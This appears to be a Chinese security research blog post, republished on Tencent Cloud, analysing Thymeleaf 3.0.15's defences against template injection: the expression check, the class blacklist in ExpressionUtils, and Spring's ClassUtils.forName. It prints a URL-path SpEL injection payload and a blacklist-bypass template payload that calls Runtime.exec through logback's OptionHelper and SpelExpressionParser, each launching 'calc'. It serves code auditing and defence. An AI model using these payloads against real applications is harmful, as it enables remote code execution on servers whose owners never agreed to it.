Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >JAVA安全之Thymeleaf模板注入检测再探

JAVA安全之Thymeleaf模板注入检测再探

作者头像
Al1ex
发布于 2024-10-18 05:13:28
发布于 2024-10-18 05:13:28
17700
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

文章前言

从之前的文章中我们分析后发现Thymeleaf 3.0.15版本中只要检测到"{"就会认为存在表达式内容,随后直接抛出异常停止解析来防范模板注入问题,此类场景用于我们URL PATH、Retruen、Fragment等可控的情况下进行,但是如果我们存在对模板文件进行更改、创建、上传等操作的时候我们还可以精心构造恶意的JAVA代码并将其写入模板中,随后触发执行

常规执行

使用之前的载荷进行尝试攻击会触发一下告警提示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/doc;/__%24%7BT%09(java.lang.Runtime).getRuntime().exec("calc")%7D__%3A%3A.x

跟踪源代码进行分析:

随后调用containsExpression来检查是否包含表达式内容,匹配个关键点在于检索是否存在"{"

如果包含则直接防护true,随后直接抛异常——也就是说只有有表达式就会直接抛异常

同时在Thymeleaf 3.0.15.RELEASE版本中修复了LiteralSubstitutionUtil函数,添加了对于||的过滤处理,如果第一次匹配到"|"则将"inLiteralSubstitution"设置为true,随后继续向下进行匹配,如果匹配到第二个"|"且两者之间相邻则在最后添加拼接一个"||"而不再是直接置空,关于这一点大家可以自我研究一下,这里小透露一下就是这里的"||"是可以用于绕过Thymeleaf 3.0.14版本中的安全检测的,上面的变更已经说的很明显了,有兴趣的小伙伴可以变更pom文件随后进行一个简单的调试分析~ 文件路径:org.thymeleaf.standard.expression.LiteralSubstitutionUtil 文件源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.thymeleaf.standard.expression;

final class LiteralSubstitutionUtil {
    private static final char LITERAL_SUBSTITUTION_DELIMITER = '|';

    static String performLiteralSubstitution(String input) {
        if (input == null) {
            return null;
        } else {
            StringBuilder strBuilder = null;
            boolean inLiteralSubstitution = false;
            boolean inLiteralSubstitutionInsertion = false;
            int literalSubstitutionIndex = -1;
            int expLevel = 0;
            boolean inLiteral = false;
            boolean inNothing = true;
            int inputLen = input.length();

            for(int i = 0; i < inputLen; ++i) {
                char c = input.charAt(i);
                if (c == '|' && !inLiteralSubstitution && inNothing) {
                    if (strBuilder == null) {
                        strBuilder = new StringBuilder(inputLen + 20);
                        strBuilder.append(input, 0, i);
                    }

                    inLiteralSubstitution = true;
                    literalSubstitutionIndex = i;
                } else if (c == '|' && inLiteralSubstitution && inNothing) {
                    if (i - literalSubstitutionIndex == 1) {
                        strBuilder.append('|').append('|');
                    } else if (inLiteralSubstitutionInsertion) {
                        strBuilder.append('\'');
                        inLiteralSubstitutionInsertion = false;
                    }

                    inLiteralSubstitution = false;
                    literalSubstitutionIndex = -1;
                } else if (inNothing && (c == '$' || c == '*' || c == '#' || c == '@') && i + 1 < inputLen && input.charAt(i + 1) == '{') {
                    if (inLiteralSubstitution && inLiteralSubstitutionInsertion) {
                        strBuilder.append("' + ");
                        inLiteralSubstitutionInsertion = false;
                    } else if (inLiteralSubstitution && i > 0 && input.charAt(i - 1) == '}') {
                        strBuilder.append(" + '' + ");
                    }

                    if (strBuilder != null) {
                        strBuilder.append(c);
                        strBuilder.append('{');
                    }

                    expLevel = 1;
                    ++i;
                    inNothing = false;
                } else if (expLevel == 1 && c == '}') {
                    if (strBuilder != null) {
                        strBuilder.append('}');
                    }

                    expLevel = 0;
                    inNothing = true;
                } else if (expLevel > 0 && c == '{') {
                    if (strBuilder != null) {
                        strBuilder.append('{');
                    }

                    ++expLevel;
                } else if (expLevel > 1 && c == '}') {
                    if (strBuilder != null) {
                        strBuilder.append('}');
                    }

                    --expLevel;
                } else if (expLevel > 0) {
                    if (strBuilder != null) {
                        strBuilder.append(c);
                    }
                } else if (inNothing && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
                    inNothing = false;
                    inLiteral = true;
                    if (strBuilder != null) {
                        strBuilder.append(c);
                    }
                } else if (inLiteral && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
                    inLiteral = false;
                    inNothing = true;
                    if (strBuilder != null) {
                        strBuilder.append(c);
                    }
                } else if (inLiteralSubstitution && inNothing) {
                    if (!inLiteralSubstitutionInsertion) {
                        if (input.charAt(i - 1) != '|') {
                            strBuilder.append(" + ");
                        }

                        strBuilder.append('\'');
                        inLiteralSubstitutionInsertion = true;
                    }

                    if (c == '\'') {
                        strBuilder.append('\\');
                    } else if (c == '\\') {
                        strBuilder.append('\\');
                    }

                    strBuilder.append(c);
                } else if (strBuilder != null) {
                    strBuilder.append(c);
                }
            }

            if (strBuilder == null) {
                return input;
            } else {
                return strBuilder.toString();
            }
        }
    }

    private LiteralSubstitutionUtil() {
    }
}

模板操控

在这里我们操作模板并改写为一下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[[${T(java.lang.Runtime).getRuntime().exec("calc")}]]

随后启动项目并访问

报错提示如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
2024-08-26 18:44:50.082 ERROR 7556 --- [nio-8090-exec-2] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.thymeleaf.exceptions.TemplateProcessingException: Exception evaluating SpringEL expression: "T(java.lang.Runtime).getRuntime().exec("calc")" (template: "welcome" - line 1, col 3)] with root cause

org.springframework.expression.EvaluationException: Access is forbidden for type 'java.lang.Runtime' in Thymeleaf expressions. Blacklisted classes are: [java.util.concurrent.RunnableFuture, java.util.concurrent.Executor, java.lang.Runtime, java.util.concurrent.FutureTask, java.util.concurrent.ListenableFuture, java.lang.Runnable, java.util.concurrent.Future, java.lang.Thread, java.lang.reflect.Executable, java.lang.Class, java.lang.ClassLoader, java.sql.DriverManager].
    at org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType(ThymeleafEvaluationContext.java:188) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.springframework.expression.spel.ExpressionState.findType(ExpressionState.java:180) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.springframework.expression.spel.ast.TypeReference.getValueInternal(TypeReference.java:69) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:56) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueInternal(CompoundExpression.java:92) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.springframework.expression.spel.ast.SpelNodeImpl.getValue(SpelNodeImpl.java:114) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.springframework.expression.spel.standard.SpelExpression.getValue(SpelExpression.java:338) ~[spring-expression-5.3.27.jar:5.3.27]
    at org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator.evaluate(SPELVariableExpressionEvaluator.java:265) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.standard.expression.VariableExpression.executeVariableExpression(VariableExpression.java:166) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.standard.expression.SimpleExpression.executeSimple(SimpleExpression.java:66) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.standard.expression.Expression.execute(Expression.java:109) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.standard.expression.Expression.execute(Expression.java:138) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.standard.processor.AbstractStandardExpressionAttributeTagProcessor.doProcess(AbstractStandardExpressionAttributeTagProcessor.java:144) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.processor.element.AbstractAttributeTagProcessor.doProcess(AbstractAttributeTagProcessor.java:74) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.processor.element.AbstractElementTagProcessor.process(AbstractElementTagProcessor.java:95) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.util.ProcessorConfigurationUtils$ElementTagProcessorWrapper.process(ProcessorConfigurationUtils.java:633) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.engine.ProcessorTemplateHandler.handleOpenElement(ProcessorTemplateHandler.java:1314) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.engine.OpenElementTag.beHandled(OpenElementTag.java:205) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.engine.TemplateModel.process(TemplateModel.java:136) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.engine.TemplateManager.parseAndProcess(TemplateManager.java:661) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1098) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1072) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.spring5.view.ThymeleafView.renderFragment(ThymeleafView.java:366) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.thymeleaf.spring5.view.ThymeleafView.render(ThymeleafView.java:190) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1406) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1150) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:529) ~[tomcat-embed-core-9.0.75.jar:4.0.FR]
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.3.27.jar:5.3.27]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:623) ~[tomcat-embed-core-9.0.75.jar:4.0.FR]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) ~[tomcat-embed-websocket-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.3.27.jar:5.3.27]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.3.27.jar:5.3.27]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.3.27.jar:5.3.27]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) ~[tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.75.jar:9.0.75]
    at java.lang.Thread.run(Thread.java:748) [na:1.8.0_181]

从上面可以看到黑名单:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Blacklisted classes are: [
    java.util.concurrent.RunnableFuture, 
    java.util.concurrent.Executor, 
    java.lang.Runtime, 
    java.util.concurrent.FutureTask, 
    java.util.concurrent.ListenableFuture,
    java.lang.Runnable, 
    java.util.concurrent.Future, 
    java.lang.Thread, 
    java.lang.reflect.Executable, 
    java.lang.Class, 
    java.lang.ClassLoader,
    java.sql.DriverManager
]

断点调试

从上面的报错不难看出这里都有对构造的模板进行黑名单检查,我们在org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType下断点后进行分析调试

随后调用ExpressionUtils.isTypeAllowed(typeName)对typeName进行检索,检查是否是黑名单中的类,在这里后续检查typeName是否为NULL,随后提取前四个字符并于java进行比对,如果是一java开头的则依次循环遍历黑名单进行查找是否有匹配项,黑名单内容如之前调试部分所示,一共12个:

完整代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static boolean isTypeAllowed(String typeName) {
        Validate.notNull(typeName, "Type name cannot be null");
        int i0 = typeName.indexOf(46);
        if (i0 >= 0) {
            String package0 = typeName.substring(0, i0);
            if ("java".equals(package0)) {
                Iterator var3 = BLACKLISTED_CLASS_NAME_PREFIXES.iterator();

                while(var3.hasNext()) {
                    String prefix = (String)var3.next();
                    if (typeName.startsWith(prefix)) {
                        return false;
                    }
                }
            }
        }

        return true;
    }

载荷构造

那么关于这里的绕过其实就显而易见了,只需要我们构造的模板中不包含上述的黑名单中的类名即可,这里给出其他师傅构造的一条payload:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]

检查完黑名单之后调用findType(typeName)根据给定的类型名称查找相应的Java类

在这里调用ClassUtils.forName查找类

在这里首先检查类名name是否为空。如果为空则抛出异常,随后尝试通过调用resolvePrimitiveClassName(name)方法来解析基本数据类型,如果成功,赋值给clazz,如果不是基本数据类型,则从commonClassCache 中尝试获取该类的Class对象,随后处理数组类型的类名:

  • 第一种情况:如果类名以[]结尾,则表示它是一个普通数组,elementName是去掉[]的类名,然后递归调用forName找到元素类型的类,再使用Array.newInstance(...)创建一个空数组并返回该数组的Class对象
  • 第二种情况: 如果类名以[L开头并以;结尾,则表示它是一个对象数组,处理方式类似
  • 第三种情况: 如果类名以[开头但不符合前面两种情况,则表示它是一个原始类型数组,处理方式同样类似

随后开始查找常规类,如果传入的classLoader为null,则调用getDefaultClassLoader()获取默认的类加载器,尝试使用Class.forName(...)方法查找类名对应的类并返回其Class对象,随后处理嵌套类,如果找不到指定的类则检查该类名是否包含嵌套类(即类名中是否有点 .),如果存在,则从类名中构造嵌套类的名称(用$来分隔外部类和内部类),再次尝试查找

完整代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static Class<?> forName(String name, @Nullable ClassLoader classLoader) throws ClassNotFoundException, LinkageError {
        Assert.notNull(name, "Name must not be null");
        Class<?> clazz = resolvePrimitiveClassName(name);
        if (clazz == null) {
            clazz = (Class)commonClassCache.get(name);
        }

        if (clazz != null) {
            return clazz;
        } else {
            Class elementClass;
            String elementName;
            if (name.endsWith("[]")) {
                elementName = name.substring(0, name.length() - "[]".length());
                elementClass = forName(elementName, classLoader);
                return Array.newInstance(elementClass, 0).getClass();
            } else if (name.startsWith("[L") && name.endsWith(";")) {
                elementName = name.substring("[L".length(), name.length() - 1);
                elementClass = forName(elementName, classLoader);
                return Array.newInstance(elementClass, 0).getClass();
            } else if (name.startsWith("[")) {
                elementName = name.substring("[".length());
                elementClass = forName(elementName, classLoader);
                return Array.newInstance(elementClass, 0).getClass();
            } else {
                ClassLoader clToUse = classLoader;
                if (classLoader == null) {
                    clToUse = getDefaultClassLoader();
                }

                try {
                    return Class.forName(name, false, clToUse);
                } catch (ClassNotFoundException var9) {
                    int lastDotIndex = name.lastIndexOf(46);
                    if (lastDotIndex != -1) {
                        String nestedClassName = name.substring(0, lastDotIndex) + '$' + name.substring(lastDotIndex + 1);

                        try {
                            return Class.forName(nestedClassName, false, clToUse);
                        } catch (ClassNotFoundException var8) {
                        }
                    }

                    throw var9;
                }
            }
        }
    }

后续的类加载和执行不再跟进~

文末小结

本篇文章主要介绍了Thymeleaf 3.0.15版本中的模板注入检测机制以及绕过方式,在相关的代码审计中可以多多关注对应的Thymeleaf版本以及是否存在相关的模板注入点,随后结合环境进行payload的Fuzzing测试并结合具体的环境进行适当的调整载荷,不必过于局限,在Thymeleaf 3.0.15版本之后的模板注入主要集中在黑名单的绕过以及寻找可以更改目标文件的位置,例如:编辑、上传等功能点位

参考链接

https://github.com/thymeleaf/thymeleaf-spring/issues/295

推 荐 阅 读

横向移动之RDP&Desktop Session Hija

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-10-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JAVA安全之Thymeleaf模板注入防护绕过
若依CMS中使用到了Thymeleaf模板引擎且存在模板注入可控点,但是在漏洞测试过程中发现常规的通用载荷并不生效,遂对其进行调试分析,最后发现是和Thymeleaf版本有莫大的关系,其中3.0.12版本增加了多处安全机制来防护模板注入漏洞,本篇文章将基于此背景对Thymeleaf模板的注入防御措施和绕过进行深入刨析
Al1ex
2024/10/14
3360
JAVA安全之Thymeleaf模板注入防护绕过
org.springframework.expression.spel.SpelEvaluationException: EL1004E: Method call: Method service()
前言 本文中提到的解决方案,源码地址在:springboot-thymeleaf,希望可以帮你解决问题。 至于为什么已经写了一篇文章thymeleaf模板引擎调用java类中的方法,又多此一举的单独整理了这篇文章,是因为在解决此问题时首先搜索了一下关于此问题的文章,但是网上并没有搜到关于此问题的答案,因此自己做了整理。 问题描述 在springboot与thymeleaf整合过程中,出现了如下报错: org.thymeleaf.exceptions.TemplateProcessingExcepti
程序员十三
2018/03/15
2.7K0
org.springframework.expression.spel.SpelEvaluationException: EL1011E: Method call: Attempted to call
前言 本文中提到的解决方案,源码地址在:springboot-thymeleaf,希望可以帮你解决问题。 至于为什么已经写了一篇文章thymeleaf模板引擎调用java类中的方法,又多此一举的单独整理了这篇文章,是因为在解决此问题时首先搜索了一下关于此问题的文章,但是网上并没有搜到关于此问题的答案,因此自己做了整理。 问题描述 在springboot与thymeleaf整合过程中,出现了如下报错: ``` org.thymeleaf.exceptions.TemplateProcessingExcepti
程序员十三
2018/03/15
2.1K0
chaos-monkey-spring-boot小试牛刀
chaos-monkey-spring-boot是专门为Spring Boot打造的Chaos Monkey
code4it
2018/09/17
1.1K0
三行代码解决Springboot框架自带异常
近期一个原业务图片上传的接口偶发会报异常,原有高可用方案是当上传七牛云失败上传腾讯云,都失败才会报异常,或者会存在目录创建失败的异常,此类异常重试即可解决,但近期异常如下
疯狂的KK
2023/01/12
4540
三行代码解决Springboot框架自带异常
spring cloud利用feign和sentinel进行内部或外部远程调用
    基于上篇讲解的Sentinel之后,这次讲讲spring cloud环境下最优雅的远程调用方式Feign
chinotan
2019/04/03
3.5K0
spring cloud利用feign和sentinel进行内部或外部远程调用
还在使用kill -9 pid结束spring boot项目吗?那你已经落伍了!
kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或jobs指令查看(这段话来自菜鸟教程)。
肉眼品世界
2021/01/25
9550
还在使用kill -9 pid结束spring boot项目吗?那你已经落伍了!
SpringBoot整合SpringMVC、持久层技术MyBatis
1、通过使用SpringBoot、SpringMVC、MyBatis整合,实现一个对数据库中的数据表的增加、修改、删除、查询操作。
别先生
2020/05/18
9730
SpringBoot整合SpringMVC、持久层技术MyBatis
Swagger-ui在文件上传时报错net::ERR_CONNECTION_RESET
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
yingzi_code
2019/08/30
2K0
这才是实现分布式锁的正确姿势!
其实Java世界的”半壁江山”——Spring早就提供了分布式锁的实现。早期,分布式锁的相关代码存在于Spring Cloud的子项目Spring Cloud Cluster中,后来被迁到Spring Integration中。
JAVA葵花宝典
2019/05/24
1.1K0
SpringBoot服务端表单数据校验
1、首先说明一下,这里使用的是Springboot2.2.6.RELEASE版本,由于Springboot迭代很快,所以要注意版本问题。
别先生
2020/05/18
8420
SpringBoot服务端表单数据校验
初学Spring Cloud踩坑之org.springframework.web.client.HttpClientErrorException: 400 null
初学Spring Cloud踩坑之org.springframework.web.client.HttpClientErrorException: 400 null
Java架构师必看
2021/05/14
1.7K0
SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after
SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after 30001ms.
二十三年蝉
2018/10/11
7.5K0
SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after
springcloud与hystrix整合时freemarker依赖问题分析
乍一看,是 freemarker 解析的问题,但是所有的依赖都是正常情况下处理的,没有头绪。
山行AI
2020/02/11
1.2K0
聊聊springcloud的serviceRegistryEndpoint
本文主要研究一下springcloud的serviceRegistryEndpoint
code4it
2018/09/17
1.4K0
zuul报错java.net.UnknownHostException: 4d59d509898a: Name or service not known
是这样的,eureka、zuul和普通的微服务在本地是OK的,部署到docker后,通过zuul访问某个微服务就报错了。用的是serviceId的方式,在eureka界面也能看到各个微服务都是在线的,没有问题,但就是通过zuul的路由访问时会报错。
天涯泪小武
2019/01/17
2.6K0
阿里问题定位神器 Arthas 的骚操作,定位线上BUG,超给力!
公司有个渠道系统,专门对接三方渠道使用,没有什么业务逻辑,主要是转换报文和参数校验之类的工作,起着一个承上启下的作用。
程序员小强
2020/03/23
1.4K0
阿里问题定位神器 Arthas 的骚操作,定位线上BUG,超给力!
feign.FeignException$MethodNotAllowed: status 405 reading xxx#yyy(Integer)
使用feign 调用异常 feign.FeignException$MethodNotAllowed: status 405 reading ConsumerService#findById(Integer)
时间静止不是简史
2020/07/27
2.3K0
feign.FeignException$MethodNotAllowed: status 405 reading xxx#yyy(Integer)
springBoot系列教程07:异常捕获
发生异常是很正常的事,异常种类也是千奇百怪,发生异常并不可怕,只要正确的处理,并正确的返回错误信息并无大碍,如果不进行捕获或者处理,分分钟服务器宕机是很正常的事
肖哥哥
2018/08/02
9140
springBoot系列教程07:异常捕获
BadSqlGrammarException:PageHelper use near 'LIMIT 50'
作为一名Java开发人员,你可能在某个深夜,面对着那令人头秃的错误日志,不禁发问:“为什么我的SQL语句总是出错?”今天,就让我们一起深入探讨这个在Java开发项目中常见的问题——org.springframework.jdbc.BadSqlGrammarException,特别是在处理Excel导入时,如何避免这个让人头疼的错误。
疯狂的KK
2025/01/16
1950
BadSqlGrammarException:PageHelper use near 'LIMIT 50'
推荐阅读
相关推荐
JAVA安全之Thymeleaf模板注入防护绕过
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验